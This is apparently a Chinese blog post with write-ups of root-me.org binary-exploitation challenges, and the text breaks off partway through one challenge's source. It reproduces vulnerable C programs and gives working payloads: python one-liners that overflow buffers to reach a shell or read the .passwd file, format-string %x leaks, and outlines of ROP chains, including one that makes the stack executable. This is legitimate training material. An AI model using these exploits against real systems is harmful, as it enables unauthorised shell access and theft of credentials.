    <updated>2020-07-16T13:31:30.410Z</updated>
    
    <content type="html"><![CDATA[<p>新找到的刷题网站<a href="https://www.root-me.org">https://www.root-me.org</a>，加上是Asuri战队的训练网站，决定先来试试水先~</p><span id="more"></span><h2 id="stack-buffer-overflow-basic-1">Stack buffer overflow basic 1</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">gcc -m32 -o ch13 ch13.c -fno-stack-protector</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">  <span class="type">int</span> var;</span><br><span class="line">  <span class="type">int</span> check = <span class="number">0x04030201</span>;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">40</span>];</span><br><span class="line"></span><br><span class="line">  fgets(buf,<span class="number">45</span>,<span class="built_in">stdin</span>);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;\n[buf]: %s\n&quot;</span>, buf);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;[check] %p\n&quot;</span>, check);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ((check != <span class="number">0x04030201</span>) &amp;&amp; (check != <span class="number">0xdeadbeef</span>))</span><br><span class="line">    <span class="built_in">printf</span> (<span class="string">&quot;\nYou are on the right way!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (check == <span class="number">0xdeadbeef</span>)</span><br><span class="line">   &#123;</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;Yeah dude! You win!\nOpening your shell...\n&quot;</span>);</span><br><span class="line">     system(<span class="string">&quot;/bin/dash&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;Shell closed! Bye.\n&quot;</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个的话呢，讲道理还是蛮简单的。但是问题的关键在于，我们怎么构造这个0xdeadbeef字符串，毕竟是不可见字符。这有两种思路</p><ul><li>使用pwntools的ssh连接上去，如果这样做的话，我们就能够很容易的构造0xdeadbeef的效果。</li><li>在本地使用python或者bash脚本，然后构造输入字符串。</li></ul><p>如果使用第二种方法的话，首先想到的话是使用python构造如下字符串:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;a&quot;*40+&quot;\xef\xbe\xad\xde&quot;</span><br></pre></td></tr></table></figure><p>但是会得到如下的结果:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">app-systeme-ch13@challenge02:~$ python -c <span class="string">&#x27;print &quot;a&quot;*40+&quot;\xef\xbe\xad\xde&quot; + &quot;\n&quot; +&quot;ls&quot;&#x27;</span> | ./ch13</span><br><span class="line"></span><br><span class="line">[buf]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</span><br><span class="line">[check] 0xdeadbeef</span><br><span class="line">Yeah dude! You win!</span><br><span class="line">Opening your shell...</span><br><span class="line">Shell closed! Bye.</span><br></pre></td></tr></table></figure><p>为什么我们输入的<code>ls</code>没有执行?这里我们可以参考下面给出来的，关于<a href="http://repository.root-me.org/Administration/Unix/Linux/EN%20-%20buffering%20in%20standard%20streams.pdf">stdio buffer</a>的文章</p><p>根据文章提炼出来的最关键的一点就是: *nix操作系统的stdin是带有缓冲的，因此，我们输入的ls<strong>也被读入了stdin中</strong>，然后在调用system之后，由于此时我们<strong>所有的数据都被放到了缓冲中</strong>，此后stdin为空，所以system<code>(&quot;/bin/dash&quot;)</code>读取到了EOF，结束了当前的进程。</p><p>然后我们此时希望的结果是<strong>让我们的输入数据不要立刻落入stdin的缓冲中</strong>，又或者说，<strong>此时不让输入流中断</strong>。那么针对以上的两种需求，我们有两种思路。</p><ul><li>输入让stdin缓冲区满掉的数据，从而不让数据落入缓冲，继续留在stdin中。一般的操作系统中，在非terminal中，stdin的缓冲大小都是4096，那么我们只要把缓冲区写满。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c &#x27;print &quot;a&quot;*40+&quot;\xef\xbe\xad\xde&quot; + &quot;\x00&quot;*4052 + &quot;cat .passwd&quot;&#x27; | ./ch13</span><br></pre></td></tr></table></figure><ul><li>不让当前的数据流中断。这种操作的话我们可以执行那种<strong>不会让输入流关闭的指令</strong>，比如说<code>cat</code>指令。直接使用<code>cat</code>的功能为<strong>将输入流复制到输出流中</strong>。如果我们将python的输出和cat放在一个命令组中，那么此时我们的输入流会被cat占用，并且此时输出流的数据会写向./ch13中。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(python -c &#x27;print &quot;a&quot;*40+&quot;\xef\xbe\xad\xde&quot; &#x27;; cat ) | ./ch13</span><br></pre></td></tr></table></figure><h3 id="总结">总结</h3><p>看起来很简单的一题，但是其实考验了对Unix基本输入输出流与缓冲的考察，还是很有意义的。</p><h2 id="stack-buffer-overflow-basic-2">Stack buffer overflow basic 2</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">gcc -m32 -fno-stack-protector -o ch15 ch15.c</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> </span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">shell</span><span class="params">()</span> &#123;</span><br><span class="line">    system(<span class="string">&quot;/bin/dash&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">sup</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Hey dude ! Waaaaazzaaaaaaaa ?!\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line">main()</span><br><span class="line">&#123; </span><br><span class="line">    <span class="type">int</span> var;</span><br><span class="line">    <span class="type">void</span> (*func)()=sup;</span><br><span class="line">    <span class="type">char</span> buf[<span class="number">128</span>];</span><br><span class="line">    fgets(buf,<span class="number">133</span>,<span class="built_in">stdin</span>);</span><br><span class="line">    func();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个题目比较像是传统的pwn了，通过修改栈中变量，从而劫持程序流什么的。这里唯一需要注意的是<strong>小端</strong>，也就是<strong>小的数字先被输入到了栈中</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(python -c <span class="string">&#x27;print &quot;a&quot;*128+&quot;\x64\x84\x04\x08&quot; &#x27;</span>; <span class="built_in">cat</span> ) | ./ch15</span><br></pre></td></tr></table></figure><h2 id="elf-x86-format-string-bug-basic-1">ELF x86 - Format string bug basic 1</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span>&#123;</span><br><span class="line"></span><br><span class="line">  </span><br><span class="line">FILE *secret = fopen(<span class="string">&quot;/challenge/app-systeme/ch5/.passwd&quot;</span>, <span class="string">&quot;rt&quot;</span>);</span><br><span class="line"><span class="type">char</span> buffer[<span class="number">32</span>];</span><br><span class="line">fgets(buffer, <span class="keyword">sizeof</span>(buffer), secret);</span><br><span class="line"><span class="built_in">printf</span>(argv[<span class="number">1</span>]);</span><br><span class="line">fclose(secret);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个题目涉及到了一点格式化字符串的漏洞。倒是可以直接参考我之前对格式化字符串漏洞写的博客<a href="http://showlinkroom.me/2017/01/28/pwn-learn-printf/">http://showlinkroom.me/2017/01/28/pwn-learn-printf/</a><br>这里需要思考的是，此时的栈空间大致是什么样子的。我们知道，关键是printf的参数之后的<strong>第几个</strong>地址开始是我们的输入字符串的地址。这里可以大致猜测一下，应该在不远处，所以我们直接构造攻击字符串如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./ch5 %x,%x,%x,%x,%x,%x,%x.%x,%x,%x,%x,%x,%x,%x,%x</span><br></pre></td></tr></table></figure><p>这里其实没有开ASLR，而且本地其实有gdb，所以可以直接调试得知当前栈地址，然后构造栈地址，直接输入字符串。但是我有点懒了，就直接用<code>%x</code>直接泄露栈中地址，得到如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">20,804b008,b7e552f3,0,8049ff4,2,bffffc44.bffffd6c,2f,804b008,39617044,28293664,6d617045,a64,b7e554ad</span><br></pre></td></tr></table></figure><p>从第11个字符开始，就是我们输入的字符串。但是同样注意，我们输出来的数字是<strong>小端的</strong>，但是我们字符串是从<strong>低地址</strong>开始写的，所以这里需要将这些数字重新转换大小端。</p><h2 id="elf-x86-stack-buffer-overflow-basic-3">ELF x86 - Stack buffer overflow basic 3</h2><p>这个题有队友主动提出，所以这里进行讲解:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> </span></span><br><span class="line"><span class="comment">gcc -m32 -o ch16 ch16.c</span></span><br><span class="line"><span class="comment"> </span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/time.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">shell</span><span class="params">(<span class="type">void</span>)</span>;</span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"> </span><br><span class="line">  <span class="type">char</span> buffer[<span class="number">64</span>];</span><br><span class="line">  <span class="type">int</span> check;</span><br><span class="line">  <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line">  <span class="type">int</span> count = <span class="number">0</span>;</span><br><span class="line"> </span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Enter your name: &quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  <span class="keyword">while</span>(<span class="number">1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span>(count &gt;= <span class="number">64</span>)</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Oh no...Sorry !\n&quot;</span>);</span><br><span class="line">      <span class="keyword">if</span>(check == <span class="number">0xbffffabc</span>)</span><br><span class="line">        shell();</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            read(fileno(<span class="built_in">stdin</span>),&amp;i,<span class="number">1</span>);</span><br><span class="line">            <span class="keyword">switch</span>(i)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;\n&#x27;</span>:</span><br><span class="line">                  <span class="built_in">printf</span>(<span class="string">&quot;\a&quot;</span>);</span><br><span class="line">                  <span class="keyword">break</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">0x08</span>:</span><br><span class="line">                  count--;</span><br><span class="line">                  <span class="built_in">printf</span>(<span class="string">&quot;\b&quot;</span>);</span><br><span class="line">                  <span class="keyword">break</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">0x04</span>:</span><br><span class="line">                  <span class="built_in">printf</span>(<span class="string">&quot;\t&quot;</span>);</span><br><span class="line">                  count++;</span><br><span class="line">                  <span class="keyword">break</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">0x90</span>:</span><br><span class="line">                  <span class="built_in">printf</span>(<span class="string">&quot;\a&quot;</span>);</span><br><span class="line">                  count++;</span><br><span class="line">                  <span class="keyword">break</span>;</span><br><span class="line">                <span class="keyword">default</span>:</span><br><span class="line">                  buffer[count] = i;</span><br><span class="line">                  count++;</span><br><span class="line">                  <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">shell</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">  system(<span class="string">&quot;/bin/dash&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从源代码上来看，最关键的逻辑就在<strong>如何修改check</strong>。我们注意到，这个check的参数是在buffer之后申请的。并且在逻辑上最关键的地方就是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">case 0x08:</span><br><span class="line">    count--;</span><br><span class="line">    printf(&quot;\b&quot;);</span><br><span class="line">    break;</span><br></pre></td></tr></table></figure><p>所以这里可以通过输入’\x08’来让下标往回指。这样的话，如果我们能够让下标<strong>指向check的位置</strong>，那么我们就能够定向修改指定位置的变量。<br>我们确认一下相对偏移如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">   0x80485a6 &lt;main+82&gt;: cmp    DWORD PTR [esp+0x18],0xbffffabc</span><br><span class="line">   ...</span><br><span class="line"></span><br><span class="line">=&gt; 0x804864c &lt;main+248&gt;:        lea    eax,[esp+0x1c]</span><br><span class="line">   0x8048650 &lt;main+252&gt;:        add    eax,DWORD PTR [esp+0x14]</span><br><span class="line">   0x8048654 &lt;main+256&gt;:        mov    BYTE PTR [eax],dl</span><br><span class="line">   0x8048656 &lt;main+258&gt;:        add    DWORD PTR [esp+0x14],0x1</span><br><span class="line">   0x804865b &lt;main+263&gt;:        nop</span><br><span class="line"></span><br><span class="line">gdb$ x /16wx $esp</span><br><span class="line">0xbffffb50:     0x00000000      0xbffffb60      0x00000001      0xb7eb8d56</span><br><span class="line">0xbffffb60:     0x00000031      0x00000000      0xb7e2ec34      0xb7e552f3</span><br><span class="line">0xbffffb70:     0x00000000      0x08049ff4      0x00000001      0x080483ed</span><br><span class="line">0xbffffb80:     0xbffffd7c      0x0000002f      0x08049ff4      0x080486a1</span><br></pre></td></tr></table></figure><p>可以看到，check的变量位置在buffer的-4的位置。所以这里我们只需要输入四个’\x08’加上0xbffffabc就能够完成攻击。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(python -c <span class="string">&quot;print &#x27;\x08&#x27;*4+&#x27;\xbc\xfa\xff\xbf&#x27;+&#x27;a&#x27;*4088 &quot;</span>; <span class="built_in">cat</span> ) | ./ch16</span><br></pre></td></tr></table></figure><h2 id="elf-x64-stack-buffer-overflow-advanced">ELF x64 - Stack buffer overflow - advanced</h2><p>这也是队友提出来的一个题目，这里进行分析:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">gcc -o ch34 ch34.c -fno-stack-protector  -Wl,-z,relro,-z,now,-z,noexecstack -static</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> **argv)</span>&#123;</span><br><span class="line"> </span><br><span class="line">    <span class="type">char</span> buffer[<span class="number">256</span>];</span><br><span class="line">    <span class="type">int</span> len, i;</span><br><span class="line"> </span><br><span class="line">    gets(buffer);</span><br><span class="line">    len = <span class="built_in">strlen</span>(buffer); </span><br><span class="line"> </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Hex result: &quot;</span>);</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">for</span> (i=<span class="number">0</span>; i&lt;len; i++)&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%02x&quot;</span>, buffer[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个题目就是一个传统的pwn了。静态编译的程序给人的暗示就是<strong>能够利用ROP</strong>，毕竟内部程序一般都会比较大(顺便，这个里面也有mmap，应该也是一种利用思路)。这里先尝试使用ROP。<br>对于64bit的程序，我们首先要知道其和32bit调用有一些不同。比如传参的顺序，或者系统中断调用等。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">+-----+-----------------+-------------------------+--------------------------+--------------------------+</span><br><span class="line">|%rax |   System call   |          %rdi           |           %rsi           |          %rdx            |</span><br><span class="line">+-----+-----------------+-------------------------+--------------------------+--------------------------+</span><br><span class="line">| 59  |    sys_execve   | const char *filename    | const char *const argv[] |  const char *const envp[]|</span><br><span class="line">+-----+-----------------+-------------------------+--------------------------+--------------------------+</span><br></pre></td></tr></table></figure><p>这个是找到的一种有效的系统调用的方式。通过调用execve来实现起shell。那么为了模拟调用execve，我们需要以下gadget</p><ul><li>一个系统调用的地址(syscall/int 80h)</li><li>让 %rax 能够 = 59</li><li>对 %rid 能够指向包含/bin/dash地址的字符串</li><li>让 %rsi 和  %rdx 置为0</li></ul><p>syscall和int 80h的地址很容能够找到，rax的值可以通过mov和add来凑出来，最关键的是%rdi的值如何实现。在搜索了各种方法之后，发现为了填充 filename 的话可能需要至少一个read函数。于是我们还需要调用read函数。<br>这里有一个坑点，系统调用的时候，字符串的结尾<strong>必须是\0</strong>结尾，不然的话会去寻找一个名字带有\n的文件。。。这显然是不对的。</p><p>发现远程的\bin\sh的权限不对，于是改成直接用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">open --&gt; read --&gt; write</span><br></pre></td></tr></table></figure><p>的思路打开文件，读取并且写入buff中。最后成功。</p><h3 id="新姿势-dl-make-stack-executable">新姿势 – _dl_make_stack_executable</h3><p>在两位大佬的提醒下，发现答案里面有一个比较神奇的思路，是利用了**_dl_make_stack_executable**函数。这个函数我之前完全没见过，这里学习一下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">.text:0000000000468420                 mov     rsi, cs:_dl_pagesize</span><br><span class="line">.text:0000000000468427                 push    rbx</span><br><span class="line">.text:0000000000468428                 mov     rbx, rdi</span><br><span class="line">.text:000000000046842B                 mov     rax, [rdi]</span><br><span class="line">.text:000000000046842E                 mov     rdi, rsi                 ;页大小默认为4096</span><br><span class="line">.text:0000000000468431                 neg     rdi</span><br><span class="line">.text:0000000000468434                 and     rdi, rax                 ;用于将传进来的地址按照页对齐</span><br><span class="line">.text:0000000000468437                 cmp     rax, cs:__libc_stack_end</span><br><span class="line">.text:000000000046843E                 jnz     short loc_46845F</span><br><span class="line">.text:0000000000468440                 mov     edx, cs:__stack_prot</span><br><span class="line">.text:0000000000468446                 call    mprotect</span><br><span class="line">.text:000000000046844B                 test    eax, eax</span><br><span class="line">.text:000000000046844D                 jnz     short loc_468466</span><br><span class="line">.text:000000000046844F                 mov     qword ptr [rbx], 0</span><br><span class="line">.text:0000000000468456                 or      cs:_dl_stack_flags, 1</span><br><span class="line">.text:000000000046845D                 pop     rbx</span><br></pre></td></tr></table></figure><p>看了一下这个函数的代码，发现不得了啊，这个函数的功能居然是<strong>调用mprotect</strong>！函数原型为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">_dl_make_stack_executable(void* address)</span><br></pre></td></tr></table></figure><p>这个函数接收一个地址，并且检查我们传入的地址<strong>是否为__libc_stack_end</strong>。如果为<code>__libc_stack_end</code>的话，那么就会调用<code>mprotect</code>，并且此时调用的形式为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mprotect(__libc_stack_end, _dl_pagesize, __stack_prot)</span><br></pre></td></tr></table></figure><p>这里一口气用了三个全局变量?我们分别检查其含义:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__libc_stack_end</span><br></pre></td></tr></table></figure><p>这个变量存放的是，<strong>当前elf在载入之后，栈地址的底部</strong>。我们直到，在一个ELF文件载入的时候，在start会有一个将<strong>环境变量和传入参数压栈</strong>的操作。这个操作会将我们当前的环境变量和参数的向量传入函数。比如如下的形式:<br><img src="/2017/11/20/Root-me-App-System01/root01.png" alt=""><br>字符串被直接压入到栈中，并且字符串地址存在了栈中，顺序大致如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">env n     &lt;-- __libc_stack_end</span><br><span class="line">env n-1</span><br><span class="line">...</span><br><span class="line">env 0     &lt;-- __environ</span><br></pre></td></tr></table></figure><p>其中我们可以看到，这个<code>__libc_stack_end</code>的内容就是这个栈的开头。</p><p>然后看到第二个变量</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">_dl_pagesize</span><br></pre></td></tr></table></figure><p>这个值存放的就是当前系统中的一页的大小。就我们目前的系统来说，都是4096</p><p>最后一个变量比较关键:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__stack_prot</span><br></pre></td></tr></table></figure><p>这个值表示的是<strong>当前要赋予栈的权限</strong>(从名字也能猜到啦)。这个值的话一般情况下为<code>1000000h</code>,然而我们为了让栈变成可读可写可执行的状态，要将其的值改成7。<br>于是另一个ROP的思路就出现了:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">修改__stack_prot的值 --&gt; 将__libc_stack_end的值存入rdi --&gt; 调用_dl_make_stack_executable</span><br></pre></td></tr></table></figure><h2 id="elf-x86-format-string-bug-basic-2">ELF x86 - Format string bug basic 2</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">gcc -m32 -o ch14 ch14.c</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">( <span class="type">int</span> argc, <span class="type">char</span> ** argv )</span></span><br><span class="line"> </span><br><span class="line">&#123;</span><br><span class="line"> </span><br><span class="line">  <span class="type">int</span> var;</span><br><span class="line">  <span class="type">int</span> check  = 